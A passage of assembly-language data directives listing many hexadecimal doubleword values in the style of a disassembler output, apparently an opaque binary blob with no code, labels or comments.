		dd 86B6BD00h, 0B1BB25E4h, 0BD5E5A7h, 102818F7h,	0CFF8696Fh
		dd 5EEFFC12h, 3736A405h, 18F645C0h, 3AB0E47Fh, 1F8725D1h
		dd 0DAD80F67h, 6B1154h,	0A042D72Dh, 47C86Dh, 0FD9D658Eh
		dd 0DE33E589h, 29627930h, 7592BE3h, 0B0727ABDh,	25863EBFh
		dd 3B005135h, 944D84F3h, 1C4727h, 0AE867914h, 43BE4804h
		dd 0EC75BB29h, 693D0211h, 927B1A80h, 47E4487Ch,	0E875010Bh
		dd 0DE900021h, 1D409F33h, 436BD83Dh, 9EBD9B28h,	3E40BC8Fh
		dd 38159DBh, 35BDB110h,	610F101Dh, 8687B740h, 3105A29h
		dd 0CED411Fh, 66B3D323h, 0FC899100h, 0B9F03174h, 3DFB1F2Eh
		dd 0E43506A8h, 36304901h, 0B0324141h, 2C2207E1h, 40C327D1h
		dd 53C76801h, 3496C06h,	44703E25h, 0BE00EA46h, 73ECAD9Ah
		dd 707B0F1Dh, 63D9488Ch, 53B13801h, 8011214Ch, 488B9638h
		dd 0D8931DAh, 12A1B839h, 3B19C481h, 4ABDE9C5h, 1C35C003h
		dd 0BF210809h, 1BCBC43h, 0B3C7B196h, 59800885h,	2CFD5DD7h
		dd 2D0F60A4h, 0A34E2775h, 0C5E1C9Dh, 0FF6D9E08h, 8E28621h
		dd 397C59C0h, 80EFD6h, 7D8A5443h, 0B8BDB09Dh, 0B3A7BA00h
		dd 3387CBBBh, 0F15860DBh, 643667DDh, 9D89970Fh,	8A81EC6h
		dd 47293B18h, 1799529h,	124D22D6h, 20AA23FFh, 0AB88140Ch
		dd 0DC40330h, 0E9BFDBDEh, 0C603851h, 4F0FB9E4h,	838718D6h
		dd 3D53D42Ch, 0D3B129F8h, 0C4A7BC20h, 0AF0C63A5h, 394C363Ah
		dd 0E5CB0075h, 277EDAD0h, 0DD0BEB11h, 8052E45Ch, 8EB7440Fh
		dd 0BCBE063Dh, 9106E535h, 41483630h, 31BD479h, 0E694748Bh
		dd 4AC84112h, 90020FECh, 10234913h, 7CEC405Dh, 0C18B093Dh
		dd 848E641Fh, 38207289h, 1D1806ADh, 11DCF4F7h, 9B75DD01h
		dd 0E36B438Ah, 0CB10EF4h, 0D82C827Bh, 5D001F81h, 0DD609F70h
		dd 0E43442EAh, 0B9513C45h, 0D801703h, 18DDEBF3h, 72E63180h
		dd 38CD0100h, 1D0FAB70h, 0EE7618h, 0E0BF6C99h, 8996C6AEh
		dd 77AAC100h, 0E3354421h, 4778A10Fh, 0F5D87010h, 0EA0038E8h
		dd 2BAA6E4Ch, 1282661Dh, 0C4A228Ah, 6FD9D6C0h, 394B9333h
		dd 96E93BCh, 86F51619h,	4685AE80h, 47005587h, 0A2D4B92Eh
		dd 983D3937h, 62AE1CA8h, 0E135864Ah, 0BF16898Fh, 4308AEBh
		dd 6EA606h, 0DD23FED1h,	0C73B4FD5h, 771ABF00h, 60912E87h
		dd 49FF00DAh, 62EBFD48h, 0A20AB978h, 0C7CDD12h,	4145D028h
		dd 0B00CCCh, 7F51127Bh,	67ED444Eh, 2F92158h, 0F6BDBC99h
		dd 0E24C44D6h, 43E3001Ah, 0A027466Eh, 8A12291h,	0DDBEDC8Eh
		dd 32A10402h, 6485849Fh, 6B412E20h, 728039CCh, 3AEEBE2Eh
		dd 0E005998h, 94D7D093h, 24E1B1BDh, 27475A5h, 61552619h
		dd 0EF35A081h, 0C498B17h, 2E1410C1h, 0C5400F2Dh, 0B661E578h
		dd 20B9A8BFh, 0D000DF5Ch, 4E3D9FEAh, 42CAC7h, 953B1893h
		dd 68100561h, 8F1CCA8h,	37EFBD00h, 1260DF20h, 0A15F013Bh
		dd 5329554Fh, 82285h, 0D7634919h, 0C1B3A3h, 5E569FCDh
		dd 3043CCBAh, 25403E0Ch, 132993Ch, 727E9150h, 2090B13Fh
		dd 0D262920Ch, 0C4B443B9h, 0E33E0328h, 6D5A980Ah, 34A3BAE1h
		dd 91FC9560h, 3738D464h, 1470BA21h, 0D08AAC30h,	0CF030317h
		dd 0A935D573h, 4951EBF0h, 83DD0507h, 6F2790D6h,	88A13C36h
		dd 3DD15E54h, 5A130A8Eh, 0E3A00859h, 5D8A6F84h,	0DF551093h
		dd 65DE0F61h, 0DF86C850h, 92A012C6h, 74F40023h,	35B65A3Dh
		dd 44B0E026h, 0DD0F9F03h, 0FC6953CFh, 12DFC000h, 6479371Dh
		dd 0F2831800h, 10C90D90h, 2FA70541h, 0C18ABDDFh, 1038D828h
		dd 14B4DDB0h, 0A8C26713h, 61198520h, 3DA19F25h,	572F9502h
		dd 3AEC0C20h, 39F90080h, 50C7D527h, 0C6000DCAh,	0E2E7C84Dh
		dd 61DA0F14h, 205C483Eh, 3459F585h, 0B8884900h,	0A69D00D7h
		dd 0E4526704h, 4B1DCF64h, 76C0E8DDh, 0C2F0C339h, 0F6BC3F55h
		dd 6EB5D381h, 2029FA05h, 12004440h, 4620275Eh, 358A0A7h
		dd 911122AEh, 1BD98C02h, 0CAE0F2A3h, 3A7C0695h,	40181CFEh
		dd 0B018ABD0h, 32580CBCh, 88F82E69h, 0C830704Ch, 0C8328061h
		dd 2903CFACh, 5E214060h, 5641DEh, 6C051AA1h, 0B1E64A2Bh
		dd 0A0289528h, 0BA83459h, 109DB943h, 5006979Ch,	616D90F0h
		dd 0B2430877h, 6F698967h, 0F70C1894h, 441149D6h, 8F1D1E00h
		dd 0B828883Eh, 38BCAE05h, 0D8C75A01h, 2F0298C4h, 6440C9E1h
		dd 958012F4h, 63E9168Dh, 86100E68h, 0F7048B00h,	5503E76Fh
		dd 0D9B63D8Fh, 0C5702637h, 0A8900FCh, 43BC8DB0h, 4C6AB328h
		dd 0F85A9522h, 4B9BFh, 0DA58912Ch, 0A6004265h, 16403F95h
		dd 0BA83230h, 0B8B7DFA3h, 0E831108Dh, 9D28E8BEh, 8F5CBDDBh
		dd 3C240009h, 8D108767h, 0CED41F6Bh, 0BF91C039h, 9E2C7BDCh
		dd 7E002978h, 8FA6B62Fh, 4C2EC444h, 6D00713Bh, 28AD83DFh
		dd 0E201B148h, 4C1A99ABh, 5C4178BBh, 2511748Ch,	0E91710CAh
		dd 0CD660EFFh, 0D340A921h, 4A5DC0CEh, 3338A02h,	0E06D2A7Bh
		dd 2CBA4E34h, 7A5F30Ah,	0C330FCD5h, 0D1C12F65h,	4011ACD4h
		dd 70C81420h, 0B0438A5Bh, 0F9140FCh, 81D33DC1h,	0BF118408h
		dd 2012DE13h, 780AE558h, 727A2D0Bh, 19EC0CB5h, 0D14000Bh
		dd 807ED828h, 0C2008CFFh, 0F8715DDh, 11D38F2h, 1AD4CC2Fh
		dd 0E075650Eh, 11C5C3D7h, 14097DDDh, 5AF49085h,	1D37078Fh
		dd 0C63BBEABh, 48001915h, 2B9C290Bh, 634D2D6Eh,	0E85081Ch
		dd 0C6672100h, 18A308FBh, 5B3F120Ah, 80E21EDEh,	23706248h
		dd 0EB0C86F9h, 0F13225CFh, 9A720001h, 91584742h, 0C60014F6h
		dd 0D5F7BDE3h, 7CED4066h, 632D0005h, 0A788CA32h, 0FB2E9BDDh
		dd 550A5E3Ah, 0B500A47Dh, 1CD01E86h, 0AFD8B187h, 600645Eh
		dd 0E86220EAh, 59BD0002h, 875D3F32h, 0C9488D3Dh, 1C358380h
		dd 0C391F79h, 2BA177DCh, 0CA9A5810h, 94E16B00h,	0AFA7C1ABh
		dd 0A28D00ADh, 0BBC7D6B1h, 68906CB9h, 145D88A1h, 0FDE4D80h
		dd 71A24BD9h, 600B7AD0h, 0CF00C8EFh, 0F8C3A5ECh, 2ADFD74h
		dd 5F2B095Eh, 448325BEh, 70CF1D83h, 0E66019C6h,	0FE57A100h
		dd 0A35D564Dh, 17051E7Dh, 0A098818Bh, 41DCB595h, 61869BE8h
		dd 1FD98440h, 0EC8033EAh, 0EF45E0Eh, 97B1BCC2h,	6D6C5341h
		dd 96C1900Bh, 0E1B45480h, 125CFC3Bh, 775C160Ch,	39C51004h
		dd 0CEEB9C40h, 4891A743h, 828F1829h, 0F570597h,	31E5E801h
		dd 0E82C67DEh, 6A102988h, 0A2A6BCC0h, 1E05C663h, 100D1F3Dh
		dd 2B699820h, 2A461FB1h, 0A3BF47C9h, 718EB799h,	0E8E73790h
		dd 360B1C95h, 385D4EE1h, 1364B924h, 8739AAh, 591E4D24h
		dd 50075638h, 0AFA66554h, 0C023F5B0h, 0A85D7FBBh, 885A8B84h
		dd 3D4B86BCh, 0DEE1E800h, 0A1F4BB43h, 18100E78h, 96000AF9h
		dd 21669354h, 0EE48ECAAh, 6E0B0164h, 8FD9D4C9h,	0F2382040h
		dd 9287D98h, 2502C867h,	2639B4C3h, 16ACA03Fh, 0FCF6674h
		dd 566C7C81h, 0B101D1A4h
		dd 0BC952044h, 0CBC11D00h, 0BD61187Dh, 95E9032Eh, 178A4637h
		dd 266FA022h, 423C293Eh, 0A7C0A583h, 0EB0303F6h, 0E135BDD7h
		dd 0BFC10C60h, 7981CB24h, 0E807FAE0h, 34E4C2B3h, 92F4AAD0h
		dd 2177CEEh, 90F80D4Bh,	88E680E2h, 7CD3331Eh, 0F7A4AD87h
		dd 78056830h, 0B7EF67Bh, 0BD9F9DFCh, 0A51201F5h, 0A0A12C3Ah
		dd 0E23509FCh, 0E077444h, 71C91328h, 391CD7C7h,	0A1160BBEh
		dd 848E9A8Ah, 0E5039100h, 0F4A4290Dh, 25432D00h, 0BD3FD870h
		dd 42B400D6h, 0E596C580h, 0AB0585B2h, 0BE2EFFA9h, 0CF55E432h
		dd 98B90008h, 57A46BD9h, 2D3EED00h, 38E91021h, 0C68601A1h
		dd 25D6625Bh, 1031A516h, 609D3Ch, 352309C4h, 9CCA88C0h
		dd 8B93200h, 963BA7E0h,	54D94B89h, 0DF0BD480h, 0D890101Bh
		dd 8F03D4B7h, 81499DD6h, 0CE6E8888h, 40020360h,	0AB155953h
		dd 4C3DF2F9h, 8800A080h, 7DEA5D77h, 0E0E68BF9h,	796A00AEh
		dd 72E03FAh, 8904E4DBh,	15BEBF8Ch, 62619CE4h, 62BDC13Ah
		dd 824C84Bh, 206EC055h,	0E424BED8h, 6808006Bh, 0F42D7CDCh
		dd 7D02C5E7h, 66B665DFh, 9C18E686h, 10FF4744h, 0C3FE5BDFh
		dd 0B3810709h, 0A958022Fh, 4404096Dh, 857702A6h, 0BB044816h
		dd 3AF50064h, 35C3A872h, 51C04229h, 0A521A18Ch,	0D261001Eh
		dd 0DBD3D523h, 324D07A9h, 183322B8h, 51718522h,	2750D80Ch
		dd 5212E50Ch, 6030C278h, 0F319DDh, 0BA6DA19Ah, 0C54BA2B0h
		dd 1C184700h, 0BD93D559h, 27CB91Fh, 0BA333167h,	982C28E0h
		dd 80DC702h, 0C1BEA39Ah, 298060F0h, 8624311Dh, 29264A53h
		dd 0DA08A098h, 0E9358B3Dh, 561BF810h, 78C0B278h, 0A5256717h
		dd 943749DDh, 873C841h,	12B43E03h, 0BEB2D187h, 24D7ACC0h
		dd 0F89C3644h, 9754000Ch, 0E5815927h, 0CC00BE5Dh, 0EAEE8D11h
		dd 5CB1345Fh, 8EA030DDh, 54B9946Fh, 9580A790h, 5A658B41h
		dd 0BC1918A0h, 13DD2704h, 0C4B18F5Dh, 0E17C6C00h, 7A9D00DBh
		dd 9855B895h, 0E9C00385h, 0CD1BFD44h, 3F473F91h, 2EEF5B8Eh
		dd 0E43524A0h, 3D717F1Dh, 0C4EE9F18h, 3ADD89h, 13586A42h
		dd 648AB80Fh, 21124A00h, 0B3204596h, 301D0186h,	0B4D793AEh
		dd 47E0824h, 0F66AFDC6h, 0B5488CF5h, 0D769E600h, 0D7386D6h
		dd 3D8F0024h, 9D6BC989h, 1F304436h, 2870E969h, 0C6E500F3h
		dd 6DFF35E8h, 7800D0F6h, 3F12445Bh, 479767h, 0D9341DFCh
		dd 0DD9C68FFh, 1F967C00h, 6F492C56h, 78B11DA4h,	4F3CC011h
		dd 38C4C7B6h, 975C260Ch, 0E0A486Ah, 0DFD5D34Ah,	845872C0h
		dd 1E509134h, 0E048350Ch, 0BABF818Ch, 0F4C4A3A7h, 143D5C22h
		dd 43783122h, 3B614800h, 2CD07ACFh, 13BE000Fh, 90AD4287h
		dd 4A7D3D64h, 0B105E974h, 73D54BC5h, 199A7880h,	41B4A1C0h
		dd 4C1D07F0h, 0DF8B10D1h, 4097DC00h, 84B43ADAh,	0ECFC6940h
		dd 0C45778BEh, 81B178B8h, 0D07ADF54h, 29C04529h, 0F528E973h
		dd 928F049Ch, 0B2BE4353h, 908A2120h, 71D8C0B0h,	12FEE0h
		dd 604070DDh, 0C097DFF8h, 590118F0h, 1DC76B57h,	9430A6D0h
		dd 765D03B2h, 0D4046934h, 9B48A590h, 3B80D0B1h,	0CEA7C96Fh
		dd 72AFCEFh, 8F63377Ch,	284BB090h, 0A9F3C40Fh, 5487F481h
		dd 0E20E7D9h, 18BBC6h, 0D4AA0B56h, 0DA15955Bh, 431AB4B8h
		dd 983121B8h, 78BE674h,	0AECDB3A8h, 89DFB007h, 400132EEh
		dd 0E093BC83h, 4888D292h, 0B98827E9h, 0B197BD7Dh, 60808655h
		dd 0A038715Ch, 3BEC33h,	59F254C5h, 0D4621DCBh, 0B6EF5300h
		dd 25B15BAAh, 7AD1C3C8h, 0FEF37DC4h, 8CD322C8h,	0B6A44F00h
		dd 0B7C9325Bh, 956F2D76h, 0D09054ABh, 9A00B2FEh, 9007EE82h
		dd 18F06B1h, 423B0434h,	0D08EB361h, 0DA0E78D1h,	9B411F60h
		dd 78CC086h, 89682686h,	0B5E700CCh, 0DAB0697Ch,	5891BBFEh
		dd 569FAE80h, 3DDA79Bh,	7EC033B3h, 280198D7h, 7D068F9Dh
		dd 1080A0D1h, 42AADD15h, 9704B812h, 0F3537886h,	8931D06h
		dd 0D98B5A00h, 60646C99h, 6638C161h, 0FADDBDh, 12488886h
		dd 24A74C19h, 48C897F0h, 331D9C81h, 203CE4F3h, 0EF243A00h
		dd 82A8A7A1h, 6EF5BE00h, 0CED1A91h, 0BB4F4084h,	1BAFB400h
		dd 42CB2B44h, 10098BCh,	115092FAh, 73B32EE5h, 15D0000Ch
		dd 0FE0ACC56h, 0CB690090h, 4038B06Dh, 68043B44h, 0F3B68DE9h
		dd 0A20884h, 9A31Eh, 0E990B1Bh,	400379D3h, 433F5065h, 0DA83E05Fh
		dd 103E281Fh, 0CF820034h, 3DDE9D4Ah, 73022F54h,	2A6983D5h
		dd 0F0624220h, 18B95060h, 2C24F585h, 0CEDD00CBh, 0C80CC5F2h
		dd 1612055Eh, 3C208654h, 252BF7Fh, 2429F775h, 8C8195E7h
		dd 70A065F0h, 0B4054701h, 20913D85h, 16BF1CF4h,	2717727Ah
		dd 889340C0h, 8522815Fh, 0C5E5000Ah, 0EE8A9CD3h, 4A74937Eh
		dd 5A617700h, 5EE23625h, 9154945Dh, 80753A33h, 0AA60E72Bh
		dd 4E1385h, 9CDDEEADh, 65B3D1EBh, 8E8B7301h, 245A3DFAh
		dd 48424891h, 9D5048F4h, 7CA500F9h, 91195843h, 926F1635h
		dd 0A9C48894h, 1D80F16h, 5A228840h, 24BA4C2Bh, 0E0CC1076h
		dd 0C5963D3Ah, 0E138F600h, 0C32E1166h, 887D042Dh, 84B10387h
		dd 1AACCCE8h, 0E1361817h, 8E270420h, 0A8D8078Ch, 3054CF91h
		dd 7959922Ah, 8DBF9601h, 0E4175DBCh, 5F35B5E0h,	369849E1h
		dd 0A4B2A490h, 0C97DF600h, 525DD1F7h, 0CD98007Ch, 0E02C0C2Ah
		dd 0A4002551h, 1EAD2E9Eh, 0D647D0h, 13DCB8B1h, 80277E07h
		dd 48440898h, 4BB44E43h, 0FCE88584h, 0F0074EBh,	0FBF848E8h
		dd 98DCC676h, 20C0B083h, 20099FB0h, 592AE3h, 2EB77219h
		dd 8F40249Ah, 0EA5B0033h, 30273BAAh, 4F8BB800h,	89EBF018h
		dd 9D820436h, 8C86B6C0h, 0CD00F110h, 0EED973B2h, 0A5D582h
		dd 91F56E42h, 4AAB4E3Ch, 2C87BD00h, 58E71347h, 2D05ADAh
		dd 0AFA78320h, 6C353760h, 24239101h, 0B02F1F94h, 0F5DBFD0h
		dd 0B6786328h, 5CC68522h, 9D01104Eh, 59B98393h,	0ABE06809h
		dd 0D92D0727h, 0A296FE25h, 3060F26Dh, 1D1881B5h, 0BC192623h
		dd 0D3EA0064h, 0B19A9CDBh, 9B4821DFh, 283E2224h, 2F70E935h
		dd 102BC60Ch, 0BEB88508h, 22A4937Dh, 8050B1A4h,	307CCA17h
		dd 70079768h, 31064E0Ah, 0DF0F7321h, 9472B432h,	0DA508048h
		dd 0EE463E14h, 89DF8E7Bh, 0D0281D00h, 0A3AA89A3h, 0D776C788h
		dd 0C05F0311h, 9C8FBE34h, 0EECD2801h, 87B54135h, 0A8242Bh
		dd 58DD3DE4h, 663F789Fh, 969B00D9h, 6BF69401h, 479000CCh
		dd 6E8C417Ah, 24007BB7h, 0BD8E6189h, 3C654CC9h,	178FD66Ah
		dd 0C88F070Dh, 6D57B1A0h, 0B600F025h, 3AB859BDh, 1BF7C7Eh
		dd 715D46DDh, 0C0C7BE35h, 8C24293Dh, 26163C24h,	0E9CD2CD0h
		dd 2807125h, 6C4341B6h,	68411138h, 293E1171h, 0E41F00F2h
		dd 4000A2FAh, 9387FE73h, 0FA60DEDh, 3D2FCD1Ch, 0C3D52704h
		dd 691A770Ch, 0C0808CBDh, 3325ACC8h, 76889857h,	0E8DB514Ah
		dd 5D9C1E04h, 2FB48324h, 1851513Fh, 9A981A7Dh, 406494BEh
		dd 8A3F2F47h, 8B2C0E07h, 80C8552h, 82061898h, 689670BCh
		dd 4504DA73h, 0D51D1BC5h, 13898CACh, 6AE7F448h,	0B827825h
		dd 32FC40F8h, 892D0498h, 0ACDDB83Dh, 692588FCh,	0E441D4CAh
		dd 28A43154h, 70A5855Ch, 5ABF5CD0h, 14BC4872h, 0C12ADE05h
		dd 3344C296h, 0D2C0F820h, 5F9D0038h, 5E8E1B7Eh,	0D700AC7Bh
		dd 78DDBEDEh, 48EA0612h, 0E000989Dh, 0C4432D2Eh, 3900E679h
		dd 0B9ABBEB0h, 0CC8955h, 67111CF6h, 0DE1B3E9Eh,	24452813h
		dd 0CA066C00h
		dd 3C1E333h, 0DC128366h, 2FE38119h, 0AD2B1EC0h,	0BBB4D602h
		dd 5134097Ch, 0CACC0054h, 0AE56EFB3h, 430D0804h, 3E497BBFh
		dd 7107B4C4h, 0D6D12018h, 0FDEFE00Fh, 3EAB2FB3h, 0A200159Ch
		dd 12FE5A5Bh, 9B07A6BDh, 89BA43AEh, 0B449ECh, 22F679DDh
		dd 18BD6FBBh, 0CCE2BE3Ah, 1031210Ch, 64DDC8E3h,	0C85B221Ch
		dd 0C4471A8Ch, 213EC729h, 0BF1010EBh, 8B65E2BDh, 0CA03A60h
		dd 335A2C2Bh, 13AB0B60h, 0CCC044C8h, 8BC418Ah, 5B27E210h
		dd 5082248h, 62114AD3h,	0C6C0F002h, 3EACC131h, 124C4001h
		dd 63D2204Fh, 7B00E505h, 0FB893EF6h, 4CDE471Bh,	0DA0AADF1h
		dd 1F886086h, 0B14D4514h, 2CCF85C7h, 7B01DF60h,	0DA609762h
		dd 0E4380F3Ah, 0D09F2B87h, 0D2E38178h, 0EB225812h, 20F26C12h
		dd 2558D3C4h, 8400C4A2h, 0A85A79CAh, 0B9002B57h, 0D6AF7829h
		dd 0F099E1BDh, 0DB0F112Fh, 0FC205E30h, 127408ECh, 8B750Dh
		dd 3B8937BCh, 1254A7B8h, 1B79909Ch, 0B85AE724h,	0F360B02Ch
		dd 14DF1Dh, 557641ABh, 0A372570Eh, 3E0C1097h, 48A7F6FFh
		dd 87009638h, 5762EBAh,	2209BC1Bh, 933E2D06h, 8DB1A8E8h
		dd 2A1D26Fh, 0F51229E4h, 14C3EFE2h, 8011D1C1h, 35CFC611h
		dd 578E26h, 670E2437h, 705216BDh, 4429DE01h, 0DCF0DDA6h
		dd 77EB8F3h, 4B6A4BB2h,	1064BEE8h, 0B89A4500h, 6EA0D89Fh
		dd 0ABF20096h, 4C734F7Eh, 8E018538h, 9D34E77Ah,	0FEB817D8h
		dd 0EC57DF09h, 0A789698Eh, 25587C82h, 70892604h, 2FFBAEE0h
		dd 989A080Ah, 0F1DC0D0h, 45092913h, 505A11h, 0BCBD88DFh
		dd 0C7D3D735h, 8B3D7703h, 4437D9h, 331D86D0h, 57056C12h
		dd 2016C730h, 817B63C9h, 1DC732Eh, 15D6B7B6h, 0F9EC7949h
		dd 9F2D0043h, 62D05081h, 7B2DB658h, 0BB7011EAh,	27DB7430h
		dd 0FC4673F9h, 3087B8A0h, 84C8DC5Ch, 8BC295Dh, 1480A720h
		dd 2E011CDDh, 6FC77EF0h, 31805997h, 0A248D316h,	2E008793h
		dd 5C0A444h, 8467E0h, 9F75241Dh, 16C56BCCh, 2C0968B0h
		dd 8946763Ah, 4074D158h, 24A7039Dh, 0F8E1400h, 0BCB73FEh
		dd 0B618008Dh, 589893F4h, 5B0926ADh, 101C3634h,	0E09027FCh
		dd 6C942C6Fh, 3C40A550h, 0D31EA41Ah, 8F49769Dh,	79BE8045h
		dd 5161B79Ah, 0B439EC27h, 0F580BC3Ch, 1EF318FFh, 4B438C6h
		dd 88494863h, 7DECBC0h,	0CCFE8E0Fh, 5373D051h, 9502FA34h
		dd 0DD317CE5h, 1165205Ah, 0A4A56AEBh, 146FBA01h, 60201395h
		dd 879D3852h, 0BC43ED09h, 0BC90F464h, 49EA281Fh, 9823B312h
		dd 2FE7E13Dh, 83803428h, 84E139F6h, 68137F00h, 0B1E9907Eh
		dd 12DF004Eh, 0DA708962h, 14BCBB36h, 0E3D10340h, 342407EEh
		dd 0C02B7CFDh, 104DA27Eh, 0AD70E2C5h, 6AB42881h, 5A8F6F10h
		dd 0CB48118Ah, 48004873h, 0D69C4E70h, 9976BB07h, 0EDBCC004h
		dd 0ACA54BB3h, 0B113B830h, 98270FD4h, 1F8CE253h, 65C0B887h
		dd 84F85351h, 0B2D7004Eh, 89825415h, 6F26DA90h,	1C48D888h
		dd 0A8334680h, 0F6EBD6h, 3F130C78h, 2B6A30F8h, 77D250A8h
		dd 0E5003579h, 0FEAA8FFCh, 7668708Eh, 0A2F4A4h,	8B3E3278h
		dd 5631651Bh, 3DDAF801h, 5137E989h, 0C3C202Eh, 1458E336h
		dd 4D22DD78h, 8510F087h, 2919621Dh, 8BE460B2h, 918714BFh
		dd 0A789801Bh, 9694C099h, 0FC883AE0h, 91900BDh,	0ECE6747Dh
		dd 25096F28h, 0D0B57252h, 315CB2D4h, 0FEC1320h,	8E4441C7h
		dd 0DA69D03Dh, 18913814h, 60C06938h, 0B44117h, 0B1EC1917h
		dd 4783BF8Fh, 780F1300h, 97F5BC8Bh, 2DDD00C7h, 45A9314Ah
		dd 0B9F8189Dh, 0DB12A303h, 0C0BA42C2h, 24293D2Eh, 0B8033Bh
		dd 52E17E56h, 674C1774h, 0D90C8230h, 44D4C6CDh,	0CEDF2D0Fh
		dd 0EBABD400h, 5AFEE73h, 0A7B1AA9Ch, 43C4C0B8h,	889161BEh
		dd 3D75C782h, 0F120C044h, 0C2B20016h, 3A784A4Dh, 0DD28BB35h
		dd 10B00C29h, 9A34EA16h, 12A6250Bh, 29305440h, 5ACE4020h
		dd 0BF006CCBh, 0E3748EB7h, 88A45Dh, 0DCB135A6h,	0DF0F1E2Fh
		dd 9664EA50h, 3EE638h, 0A7BD546Ch, 387758A3h, 78F11FCh
		dd 0A260D88Dh, 0DD4C6582h, 0EAB87C00h, 23459225h, 0E72E00B3h
		dd 8BD79A2Bh, 0E8743161h, 2F50BE14h, 18142EA8h,	0D0895484h
		dd 0EB1724C0h, 1B298E02h, 3EF8A5h, 0A9D9724Ah, 25650998h
		dd 68E04232h, 5205A3E1h, 0C20F3530h, 8D80E4E3h,	17024A6Eh
		dd 36E3D000h, 5A3335Eh,	97C3000Eh, 85CB61CEh, 0D8021E12h
		dd 872946DDh, 24AC7286h, 0F343574h, 5A22E73Fh, 40E424B9h
		dd 0E6E2C024h, 0D8274200h, 123F481Bh, 0D1BA43BBh, 800F8668h
		dd 0C2B3FD49h, 39E4152Ah, 7080CE36h, 2EE1822Bh,	0B1003893h
		dd 68A111DDh, 11DA246h,	0D2DC05D3h, 0E07165A5h,	11C5062Bh
		dd 141379DDh, 0C3629830h, 0AEBE076Eh, 411924B3h, 0F31A20CEh
		dd 6687ACA1h, 0E3350CC4h, 54363904h, 723B44Eh, 2C5F5009h
		dd 0FD8920CDh, 0ED00419Dh, 336A71B4h, 25F1B1E3h, 7C6077DDh
		dd 3401F6BCh, 1D98558Bh, 0EC7088CEh, 0B9BD1C01h, 284399D9h
		dd 83884111h, 25960113h, 542079C9h, 0A73A4135h,	59C01020h
		dd 277CB00Fh, 0A06156DDh, 0C0F872DAh, 3B58DE16h, 0EA2919AEh
		dd 8BD4939h, 0D9D70196h, 442176FAh, 69204238h, 20700C27h
		dd 3AEE174h, 9D9533C6h,	938BD28Dh, 28E53BE1h, 60884B64h
		dd 45740051h, 0AC1D7BAFh, 4100D740h, 0A8FF772Ah, 980CD035h
		dd 0D6EB0058h, 0A488A68Dh, 1E1487B3h, 22B8DD19h, 43BF0C40h
		dd 0EBA99CBBh, 64BACB04h, 0B480B661h, 1B2198Bh,	27913F58h
		dd 0F7120DF1h, 1FC2ABABh, 20C8088Ah, 9488E814h,	99F19A4h
		dd 809878B7h, 0BB17E0F8h, 0E84C005Eh, 3547C05Dh, 292E91AAh
		dd 490CA7h, 140ED6B4h, 0BE3802EBh, 529DD088h, 5B7F83DDh
		dd 2AE0CF66h, 0B8241E05h, 0C58D5AF4h, 35F4C250h, 27054071h
		dd 0A08865B4h, 0C5CF0445h, 9D5AEB2Fh, 898AF8F0h, 7E590601h
		dd 87BB66FDh, 32D7D88Bh, 31C2BF8Fh, 2FC17D82h, 8480202Fh
		dd 46BF712h, 0DF378800h, 1DBE3DBBh, 47DDD16h, 0D0336749h
		dd 95EB2BE4h, 4D04D2Fh,	3E22B1E4h, 2040445Eh, 1EEC4593h
		dd 0C002BE3Ah, 666A48D6h, 0A8017259h, 6928745Fh, 9040B2A1h
		dd 94E0D0D7h, 38A0C958h, 1AC25F22h, 0B17CBE48h,	6F001007h
		dd 0B8A47D96h, 901E3534h, 51808CB9h, 675BD0C0h,	81167D00h
		dd 0AA0386A6h, 517B0EAh, 0AFCCFBB2h, 486CB876h,	0E90C470h
		dd 10A4A885h, 0B3E02455h, 95C1089Ch, 0CA88718h,	0B4040086h
		dd 0B136D615h, 98916389h, 0B22C4500h, 0E6E73322h, 12993857h
		dd 6A96DF0Eh, 0B8C68209h, 11200900h, 0C08CCB4Ch, 0E202000Eh
		dd 0F28F10A3h, 5D097CECh, 650D4DEh, 0E963C8h, 9803E76Fh
		dd 0B14C1AC4h, 0F4ACF896h, 0E2AEA560h, 0B99D0001h, 7EDABE4Ah
		dd 0C891422Fh, 61787A03h, 9DB13D9Eh, 4931C79Fh,	40C4C40Fh
		dd 60E02C00h, 0C6ECA56h, 2D7271B2h, 34447ADDh, 18C60F2Eh
		dd 0EADC6140h, 0A570F8h, 3D3C1EE6h, 6F6C8F26h, 412D7E32h
		dd 780009DFh, 54B13B8Ch, 0D6669804h, 8FCA743h, 50428F88h
		dd 0E46CA051h, 0F2381h,	0ADBF7EAAh, 0FD2878E0h,	6109F090h
		dd 0B3A065h, 37423CFCh,	57690A08h, 2808A3B8h, 2E1480FCh
		dd 0A44E0031h, 0A2C2301Bh, 3600DD8Eh, 282B3B5Fh, 1E51A87h
		dd 8BDFB4D5h, 33BC43BDh, 0CC4E25ACh, 3B7A4030h,	395A2922h
		dd 0AABD4990h, 112851A4h, 3B24425Bh, 7450DC91h,	443D9B24h
		dd 0CC022100h, 0DD4904h
		dd 0A881A467h, 0B5CBE56Eh, 0BBB82703h, 90A0B1BCh, 5B6D6BC5h
		dd 878CC565h, 0C197755Ch, 0D1476640h, 0F8D201Bh, 123820D0h
		dd 3C27926Fh, 85AC9h, 29A5505Eh, 17BC47FAh, 34248700h
		dd 73905F10h, 8AB913C1h, 3A94F412h, 91A0B827h, 62021A04h
		dd 0DC08080Ah, 0F0F79438h, 42EB5305h, 8FC24BBh,	8A4760F4h
		dd 0B424BE48h, 0B1134E70h, 27838F8h, 0DE37E58Dh, 2D7197Dh
		dd 9804095Ah, 44BF4B06h, 0F97100C8h, 6B9395F7h,	88003885h
		dd 6E7BF0F1h, 25E6E419h, 8C03D97h, 3A03DD31h, 817A75A9h
		dd 994D9077h, 0D48900A7h, 1156E939h, 0E3168425h, 18D258D1h
		dd 0E48C792Fh, 0A0D70C53h, 42E2016Fh, 61050BAh,	0F811FBC7h
		dd 540E5D9Eh, 490D6F7h,	8F1A119Fh, 24880985h, 0D1346025h
		dd 0A4E58E2Ah, 6D5FBF00h, 0A51E0724h, 1B870F3h,	0E61FE941h
		dd 0A8B1BB36h, 9C7AD4A0h, 3F12B488h, 0E6271474h, 0F7BB0E4h
		dd 37288600h, 41BCE555h, 0A56C93D4h, 7252EC80h,	0CC07AE03h
		dd 0AFEBB455h, 96FBEEA0h, 2F120044h, 0FCBCA405h, 3803241Dh
		dd 2B567632h, 1FCCC00Dh, 73EC0027h, 24422CDDh, 9D13072Dh
		dd 8801B32Fh, 3921F6Dh,	58B043E8h, 22DE2C42h, 0B467FA03h
		dd 0D82ABCD5h, 4011776h, 0C55F4207h, 80B234h, 52F90D03h
		dd 0F61DA77h, 6983F6Eh,	96209A8Ch, 0DB52707Ch, 347609D4h
